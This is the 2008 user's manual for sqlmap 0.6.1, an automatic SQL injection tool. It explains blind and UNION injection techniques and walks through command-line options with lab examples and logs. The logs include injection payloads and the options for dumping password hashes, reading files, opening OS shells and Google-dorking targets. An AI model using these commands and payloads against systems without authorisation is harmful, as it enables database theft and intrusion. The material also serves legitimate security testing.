sqlmap user's manual

by Bernardo Damele A. G. version 0.6.1, 20th of October 2008

This document is the user's manual to use sqlmap . Check the project homepage for the latest version.

Contents

1 Introduction

sqlmap is an automatic SQL injection tool. Its goal is to detect and take advantage of SQL injection vulnerabilities on web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user's specific DBMS tables/columns, run his own SQL `SELECT` statement, read specific files on the file system and much more.

1.1 Requirements

sqlmap is developed in Python , a dynamic object-oriented interpreted programming language. This makes the tool independent from the operating system since it only requires the Python interpreter version equal or above to 2.4. The interpreter is freely downloadable from its official site . To make it even easier, many GNU/Linux distributions come out of the box with Python interpreter package installed and other Unices and MacOS X too provide it packaged in their formats and ready to be installed. Windows users can download and install the Python setup-ready installer for x86, AMD64 and Itanium too.

Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline to be able to take advantage of the sqlmap TAB completion and history support functionalities in the SQL shell and OS shell. Note that these functionalities are available natively by Python official readline library on other operating systems.

1.2 Scenario

Let's say that you are auditing a web application and found a web page that accepts dynamic user-provided values on `GET` or `POST` parameters or HTTP `Cookie` values or HTTP `User-Agent` header value. You now want to test if these are affected by a SQL injection vulnerability, and if so, exploit them to retrieve as much information as possible out of the web application's back-end database management system or even be able to access the underlying operating system.

Consider that the target url is:

```
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
```

Assume that:

```
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1&cat=2
```

is the same page as the original one and:

```
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2&cat=2
```

differs from the original one, it means that you are in front of a SQL injection vulnerability in the `id GET` parameter of the `index.php` web application page which means that no IDS/IPS, no web application firewall, no parameters' value sanitization is performed on the server-side.

This is a quite common flaw in dynamic content web applications and it does not depend upon the back-end database management system nor on the web application programming language: it is a programmer code's security flaw. The Open Web Application Security Project recently rated in their OWASP Top Ten survey this vulnerability as the most common and important web application vulnerability, second only to Cross-Site Scripting .

Back to the scenario, probably the SQL `SELECT` statemenet into `index.php` has a syntax similar to the following SQL query, in pseudo PHP code:

```
$query = "SELECT [column(s) name] FROM [table name] WHERE id=" .  $_REQUEST['id'];
```

As you can see, appending any other syntatically valid SQL condition after a value for `id` such condition will take place when the web application passes the query to the back-end database management system that executes it, that is why the condition `id=1 AND 1=1` is valid (*True*) and returns the same page as the original one, with the same content and without showing any SQL error message.

Moreover, in this simple and easy to inject scenario it would be also possible to append, not just one or more valid SQL condition(s), but also stacked SQL queries, for instance something like `[...]&id=1; ANOTHER SQL QUERY-`

Now that you found this SQL injection vulnerable parameter, you can exploit it by manipulating the `id` parameter value in the HTTP request.

There exist many resources on the Net explaining in depth how to prevent and how to exploit SQL injection vulnerabilities and it is recommended to read them if you are not familiar with the issue before going ahead with sqlmap.

Passing the original address, `http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2` to sqlmap, the tool will automatically:

- Identify the vulnerable parameter(s) (`id` in this scenario);
- Depending on the user's options, sqlmap uses the **blind SQL injection** or the **inband SQL injection** technique as described in the following section to go ahead with the exploiting.

1.3 Techniques

sqlmap implements two techniques to exploit a SQL injection vulnerability:

- **Blind SQL injection**, also known as **inference SQL injection**: sqlmap appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string containing a `SELECT` sub-statement, or any other SQL statement whose the user want to retrieve the output. For each HTTP response, by making a comparison based upon HTML page content hashes, or string matches, with the original request, the tool determines the output value of the statement character by character. The bisection algorithm implemented in sqlmap to perform this technique is able to fetch each output character with at maximum seven HTTP requests. This is sqlmap default SQL injection technique.
- **Inband SQL injection**, also known as **UNION query SQL injection**: sqlmap appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string starting with a `UNION ALL SELECT`. This techique is useful if the web application page passes the output of the `SELECT` statement to a `for` cycle, or similar, so that each line of the query output is printed on the page content. This technique is much faster if the target url is affected by because in a single HTTP response it returns the whole query output within the page content. This SQL injection technique is an alternative to the first one.

It is strongly recommended to run at least once sqlmap with the `-union-test` option to test if the affected parameter is used within a `for` cycle, or similar, and in case use `-union-use` option to exploit this vulnerability because it saves a lot of time and it does not weight down the web server log file with hundreds of HTTP requests.

2 Features

Major features implemented in sqlmap include:

- Full support for **MySQL**, **Oracle**, **PostgreSQL** and **Microsoft SQL Server** back-end database management systems. Besides these four database management systems, sqlmap can also identify Microsoft Access, DB2, Informix, Sybase and Interbase.

- **Extensive back-end database management system fingerprint** based upon inband error messages , banner parsing , functions output comparison and specific features such as MySQL comment injection. It is also possible to force the back-end database management system name if you already know it.
- Full support for two SQL injection techniques: **blind SQL injection** and **inband SQL injection**.
- Options to retrieve on all four back-end database management system **banner**, **current user**, **current database**, enumerate **users**, **users password hashes**, **users privileges**, **databases**, **tables**, **columns**, dump **tables entries**, dump **whole database management system** and run your **own SQL `SELECT` statement**.
- If the back-end database management system is MySQL it is also possible to **read a specific file content** and in some circumstances **prompt for an interactive operating system shell** with TAB completion and history support.
- Automatically tests all provided **GET** parameters, **POST** parameters, HTTP **Cookie** header values and HTTP **User-Agent** header value to find the dynamic ones, which means those that vary the HTTP response page content. On the dynamic ones sqlmap automatically tests and detects the ones affected by SQL injection. Each dynamic parameter is tested for *numeric*, *single quoted string*, *double quoted string* and all of these three datatypes with zero to two parenthesis to correctly detect which is the `SELECT` statement syntax to perform further injections with. It is also possible to specify the parameter(s) that you want to perform tests and use for injection on.
- Option to specify the **maximum number of concurrent HTTP requests** to speed up the blind SQL injection algorithms (multithreading).
- **HTTP `Cookie` header** string support, useful when the web application requires authentication based upon cookies and you have such data or in case you just want to test for and exploit SQL injection on such header.
- Automatically handle **HTTP `Set-Cookie` header** from target url, re-establishing of the session if it expires. Test and exploit on these values is supported too.
- **HTTP Basic and Digest authentications** support.
- **Anonymous HTTP proxy** support to pass by the HTTP requests to the target URL.
- Options to fake the **HTTP `Referer` header** value and the **HTTP `User-Agent` header** value specified by user or randomly selected from a text file.
- Support to increase the **verbosity level of output messages**: there exist **six levels**. The default level is 0 (silent) in which only warnings, errors and tracebacks, if they occur, will be shown.
- **Estimated time of arrival** support for each query, updated in real time while fetching the information to give to the user an overview on how long it will take to retrieve the output.
- Support to save the session (queries and their output, even if partially retrieved) in real time while fetching the data on a text file and **resume the injection from this file in a second time**.
- Support to read options from a configuration INI file rather than specify each time all of the options on the command line. Support also to save command line options on a configuration INI file.
- Integration with other IT security related open source projects, Metasploit and w3af .
- **PHP setting `magic_quotes_gpc` bypass** by encoding every query string, between single quotes, with `CHAR`, or similar, database management system function.

3 Download and update

sqlmap can be downloaded from its SourceForge File List page . It is available in various formats:

- Source gzip compressed operating system independent.
- Source bzip2 compressed operating system independent.
- Source zip compressed operating system independent.
- DEB binary package architecture independent for Debian and any other Debian derivated GNU/Linux distribution.
- RPM binary package architecture independent for Fedora and any other operating system that can install RPM packages.
- Portable executable for Windows that **does not require the Python interpreter** to be installed on the operating system.

Whatever way you downloaded sqlmap, run it with `-update` option to update it to the latest stable version available on its SourceForge File List page .

4 License and copyright

sqlmap is released under the terms of the General Public License v2 . sqlmap is copyrighted by Bernardo Damele A. G. and Daniele Bellucci .

5 Usage

```
$ python sqlmap.py -h

    sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                        and Daniele Bellucci <daniele.bellucci@gmail.com>

Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit

  Request:
    These options have to be specified to set the target url, HTTP method,
    how to connect to the target url or Google dorking results in general.

    -u URL, --url=URL   Target url
    -g GOOGLEDORK       Process Google dork results as target urls
    -p TESTPARAMETER    Testable parameter(s)
    --method=METHOD     HTTP method, GET or POST (default: GET)
    --data=DATA         Data string to be sent through POST
    --cookie=COOKIE     HTTP Cookie header
    --referer=REFERER   HTTP Referer header
    --user-agent=AGENT  HTTP User-Agent header
```

```
  -a USERAGENTSFILE   Load a random HTTP User-Agent header from file
  --auth-type=ATYPE   HTTP Authentication type, value: Basic or Digest
  --auth-cred=ACRED   HTTP Authentication credentials, value: name:password
  --proxy=PROXY       Use a HTTP proxy to connect to the target url
  --threads=THREADS   Maximum number of concurrent HTTP requests (default 1)

Injection:
  --string=STRING     String to match in page when the query is valid
  --dbms=DBMS         Force back-end DBMS to this value

Fingerprint:
  -f, --fingerprint   Perform an extensive database fingerprint

Enumeration:
  These options can be used to enumerate the back-end database
  management system information, structure and data contained in the
  tables. Moreover you can run your own SQL SELECT queries.

  -b, --banner        Retrieve DBMS banner
  --current-user      Retrieve DBMS current user
  --current-db        Retrieve DBMS current database
  --users             Enumerate DBMS users
  --passwords         Enumerate DBMS users password hashes (opt: -U)
  --privileges        Enumerate DBMS users privileges (opt: -U)
  --dbs               Enumerate DBMS databases
  --tables            Enumerate DBMS database tables (opt: -D)
  --columns           Enumerate DBMS database table columns (req: -T, -D)
  --dump              Dump DBMS database table entries (req: -T, -D opt: -C,
                      --start, --stop)
  --dump-all          Dump all DBMS databases tables entries
  -D DB               DBMS database to enumerate
  -T TBL              DBMS database table to enumerate
  -C COL              DBMS database table column to enumerate
  -U USER             DBMS user to enumerate
  --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
  --start=LIMITSTART  First table entry to dump
  --stop=LIMITSTOP    Last table entry to dump
  --sql-query=QUERY   SQL SELECT query to be executed
  --sql-shell         Prompt for an interactive SQL shell

File system access:
  These options can be used to access the back-end database management
  system file system taking advantage of native DBMS functions or
  specific DBMS design weaknesses.

  --read-file=RFILE   Read a specific OS file content (only on MySQL)
  --write-file=WFILE  Write to a specific OS file (not yet available)

Operating system access:
  This option can be used to access the back-end database management
  system operating system taking advantage of specific DBMS design
  weaknesses.

  --os-shell          Prompt for an interactive OS shell (only on PHP/MySQL
                      environment with a writable directory within the web
```

```
                        server document root for the moment)

  Miscellaneous:
    --union-test        Test for UNION SELECT (inband) SQL injection
    --union-use         Use the UNION SELECT (inband) SQL injection to
                        retrieve the queries output. No need to go blind
    --eta               Retrieve each query output length and calculate the
                        estimated time of arrival in real time
    -v VERBOSE          Verbosity level: 0-5 (default 0)
    --update            Update sqlmap to the latest stable version
    -s SESSIONFILE      Save and resume all data retrieved on a session file
    -c CONFIGFILE       Load options from a configuration INI file
    --save              Save options on a configuration INI file
    --batch             Never ask for user input, use the default behaviour
```

5.1 Request

5.1.1 Target URL

Option: `-u` or `-url`

To run sqlmap on a single target URL.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2"

[...]
back-end DBMS:    MySQL >= 5.0.0
```

5.1.2 Target URL and verbosity

Option: `-v`

Verbose options can be used to set the verbosity level of output messages. There exist six levels. The default level is 0 (silent) in which only warnings, errors and tracebacks, if they occur, will be shown. Level 1 shows also info messages, level 2 show also debug messages, level 3 show also HTTP requests with all HTTP headers sent, level 4 show also HTTP responses headers and level 5 show also HTTP responses page content.

Example on a **MySQL 5.0.51** target (verbosity level **1**):

```
$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 1

[hh:mm:01] [INFO] testing connection to the target url
[hh:mm:01] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:02] [INFO] url is stable
[hh:mm:02] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:02] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:02] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:02] [INFO] GET parameter 'id' is dynamic
[hh:mm:02] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:02] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:02] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:02] [INFO] GET parameter 'id' is numeric/unescaped injectable
```

```
[hh:mm:02] [INFO] testing if GET parameter 'cat' is dynamic
[hh:mm:02] [WARNING] GET parameter 'cat' is not dynamic
[hh:mm:02] [INFO] testing for parenthesis on injectable parameter
[hh:mm:02] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:02] [INFO] testing MySQL
[hh:mm:02] [INFO] query: CONCAT(CHAR(53), CHAR(53))
[hh:mm:02] [INFO] retrieved: 55
[hh:mm:02] [INFO] performed 20 queries in 0 seconds
[hh:mm:02] [INFO] confirming MySQL
[hh:mm:02] [INFO] query: LENGTH(CHAR(53))
[hh:mm:02] [INFO] retrieved: 1
[hh:mm:02] [INFO] performed 13 queries in 0 seconds
[hh:mm:02] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:02] [INFO] retrieved: 5
[hh:mm:02] [INFO] performed 13 queries in 0 seconds
back-end DBMS:    MySQL >= 5.0.0
```

Example on a **MySQL 5.0.51** target (verbosity level **2**):

```
$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 2

[hh:mm:34] [DEBUG] initializing the configuration
[hh:mm:34] [DEBUG] initializing the knowledge base
[hh:mm:34] [DEBUG] cleaning up configuration parameters
[hh:mm:34] [DEBUG] setting the HTTP method to perform HTTP requests through
[hh:mm:34] [DEBUG] creating HTTP requests opener object
[hh:mm:34] [DEBUG] parsing XML queries file
[hh:mm:34] [INFO] testing connection to the target url
[hh:mm:34] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:35] [INFO] url is stable
[hh:mm:35] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:35] [INFO] testing if GET parameter 'id' is dynamic
[...]
```

Example on a **MySQL 5.0.51** target (verbosity level **3**):

```
$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 3

[...]
[hh:mm:28] [INFO] testing connection to the target url
[hh:mm:28] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:29] [INFO] testing MySQL
[hh:mm:29] [INFO] query: CONCAT(CHAR(52), CHAR(52))
[hh:mm:29] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
```

```
Connection: close
[...]
```

Example on a **MySQL 5.0.51** target (verbosity level **4**):

```
$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 4

[...]
[hh:mm:32] [INFO] testing connection to the target url
[hh:mm:32] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
Date: Thu, 24 Jul 2008 14:00:32 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 127
Connection: close
Content-Type: text/html
[...]
[hh:mm:33] [INFO] testing MySQL
[hh:mm:33] [INFO] query: CONCAT(CHAR(52), CHAR(52))
[hh:mm:33] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
Date: Thu, 24 Jul 2008 14:00:33 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 75
Connection: close
Content-Type: text/html
[...]
```

Example on a **MySQL 5.0.51** target (verbosity level **5**):

```
$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 5

[...]
[hh:mm:23] [INFO] testing connection to the target url
[hh:mm:23] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close
```

```
[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
Date: Thu, 24 Jul 2008 14:02:23 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 127
Connection: close
Content-Type: text/html

<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
</table>
</body></html>
[...]
[hh:mm:24] [INFO] testing MySQL
[hh:mm:24] [INFO] query: CONCAT(CHAR(51), CHAR(51))
[hh:mm:24] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1%20AND%200RD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20
CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200):
Date: Thu, 24 Jul 2008 14:02:24 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 75
Connection: close
Content-Type: text/html

<html><body>
<b>SQL results:</b>
<table border="1">
</table>
</body></html>
[...]
```

5.1.3 Process Google dork results as target urls

Option: `-g`

Rather than providing a target URL it is also possible to test and inject on `GET` parameters on the results of your Google dork.

This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with `GET` parameters asking you if you want to test and inject on each possible affected URL.

Example of Google dorking with expression `site:yourdomain.com inurl:example.php`:

```
$ python sqlmap.py -g "site:yourdomain.com inurl:example.php" -v 1
```

```
[hh:mm:38] [INFO] first request to Google to get the session cookie
[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are
testable hosts
[hh:mm:40] [INFO] url 1: http://yourdomain.com/example.php?id=12, do you want to test this
url? [y/N/q] n
[hh:mm:43] [INFO] url 3: http://yourdomain.com/example.php?id=24, do you want to test this
url? [y/N/q] n
[hh:mm:42] [INFO] url 2: http://thirdlevel.yourdomain.com/news/example.php?today=483, do you
want to test this url? [y/N/q] y
[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example.php?today=483
[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
[hh:mm:53] [INFO] GET parameter 'today' is dynamic
[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
[...]
```

5.1.4 Testable parameter(s)

Option: `-p`

By default sqlmap tests all `GET` parameters, `POST` parameters, HTTP `Cookie` header values and HTTP `User-Agent` header value for dynamicity and SQL injection vulnerability, but it is possible to manually specificy the parameter(s) you want sqlmap to perform tests on comma separeted in order to skip dynamicity tests and perform SQL injection test and inject directly only against the provided parameter(s).

Example on a **PostgreSQL 8.2.7** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
  -p id

[hh:mm:48] [INFO] testing connection to the target url
[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:49] [INFO] GET parameter 'id' is dynamic
[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
[...]
```

Or, if you want to provide more than one parameter, for instance:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
  -p "cat,id"
```

You can also test only the HTTP `User-Agent` header.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
  -p user-agent --user-agent "sqlmap/0.6.1 (http://sqlmap.sourceforge.net)"

[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
[hh:mm:40] [INFO] testing connection to the target url
[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:41] [INFO] url is stable
[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:41] [INFO] testing MySQL
[hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52))
[hh:mm:41] [INFO] retrieved: 44
[hh:mm:41] [INFO] performed 20 queries in 0 seconds
[hh:mm:41] [INFO] confirming MySQL
[hh:mm:41] [INFO] query: LENGTH(CHAR(52))
[hh:mm:41] [INFO] retrieved: 1
[hh:mm:41] [INFO] performed 13 queries in 0 seconds
[hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:41] [INFO] retrieved: 4
[hh:mm:41] [INFO] performed 13 queries in 0 seconds
back-end DBMS:  MySQL >= 5.0.0
```

5.1.5 HTTP method: `GET` or `POST`

Options: `-method` and `-data`

By default the HTTP method used to perform HTTP requests is `GET`, but you can change it to `POST` and provide the data to be sent through `POST` request. Such data, being those parameters, are tested for SQL injection like the `GET` parameters.

Example on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u http://192.168.1.121/sqlmap/oracle/post_int.php --method POST \
  --data "id=1&cat=2"

[hh:mm:53] [INFO] testing connection to the target url
[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:54] [INFO] url is stable
[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic
[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic
[hh:mm:54] [INFO] POST parameter 'id' is dynamic
[hh:mm:54] [INFO] testing sql injection on POST parameter 'id'
[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id'
```

```
[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id'
[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
[hh:mm:54] [INFO] testing if POST parameter 'cat' is dynamic
[hh:mm:54] [WARNING] POST parameter 'cat' is not dynamic
[...]
[hh:mm:54] [INFO] testing Oracle
[hh:mm:54] [INFO] query: LENGTH(SYSDATE)
[hh:mm:54] [INFO] retrieved: 9
[hh:mm:54] [INFO] performed 13 queries in 0 seconds
[hh:mm:54] [INFO] confirming Oracle
[hh:mm:54] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
[hh:mm:54] [INFO] retrieved: 10.2.0.1.0
[hh:mm:55] [INFO] performed 76 queries in 0 seconds
back-end DBMS:    Oracle
```

5.1.6 HTTP `Cookie` header

Option: `-cookie`

This feature can be useful in two scenarios:

- The web application requires authentication based upon cookies and you have such data.
- You want to test for and exploit SQL injection on such header values.

The steps to go through in the second scenario are the following:

- On Firefox web browser login on the web authentication form while dumping URL requests with TamperData browser's extension.
- In the horizontal box of the extension select your authentication transaction then in the left box on the bottom click with the right button on the `Cookie` value, then click on `Copy` to save its value to the clipboard.
- Go back to your shell and run sqlmap.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie \
  "id=1;cat=2" -v 1

[hh:mm:37] [INFO] testing connection to the target url
[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:38] [INFO] url is stable
[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id'
[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id'
[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
[...]
```

Note that the HTTP `Cookie` header values are separated by a `;` character, **not** by an `&`.

If the web application at first HTTP response has within the HTTP headers a `Set-Cookie` header, sqlmap will automatically use it in all HTTP requests as the HTTP `Cookie` header and also test for SQL injection on these values.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3

[...]
[hh:mm:39] [INFO] testing connection to the target url
[hh:mm:39] [TRAFFIC OUT] HTTP request:
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
Host: 192.168.1.125:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
Connection: close

[...]
[hh:mm:40] [INFO] url is stable
[...]
[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic
[hh:mm:40] [TRAFFIC OUT] HTTP request:
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
Host: 192.168.1.125:80
Cookie: ASPSESSIONIDSABTRCAS=469
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
[...]
```

If you provide an HTTP `Cookie` header value and the target URL sends an HTTP `Set-Cookie` header, sqlmap asks you which one to use in the following HTTP requests.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" --cookie "id=1"

[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
values that you provided? [Y/n]
```

5.1.7 HTTP `Referer` header

Option: `-referer`

It is possible to fake the HTTP `Referer` header value with this option. By default no HTTP `Referer` heder is sent in HTTP requests.

Example on a **PostgreSQL 8.2.7** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --referer \
  "http://www.google.com" -v 3
```

```
[...]
[hh:mm:48] [INFO] testing connection to the target url
[hh:mm:48] [TRAFFIC OUT] HTTP request:
GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
Referer: http://www.google.com
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
```

5.1.8 HTTP `User-Agent` header

Options: `-user-agent` and `-a`

By default sqlmap perform HTTP requests providing the following HTTP `User-Agent` header value:

```
sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
```

It is possible to fake it with the `-user-agent` option.

Example on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
  --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3

[...]
[hh:mm:02] [INFO] testing connection to the target url
[hh:mm:02] [TRAFFIC OUT] HTTP request:
GET /sqlmap/oracle/get_int.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
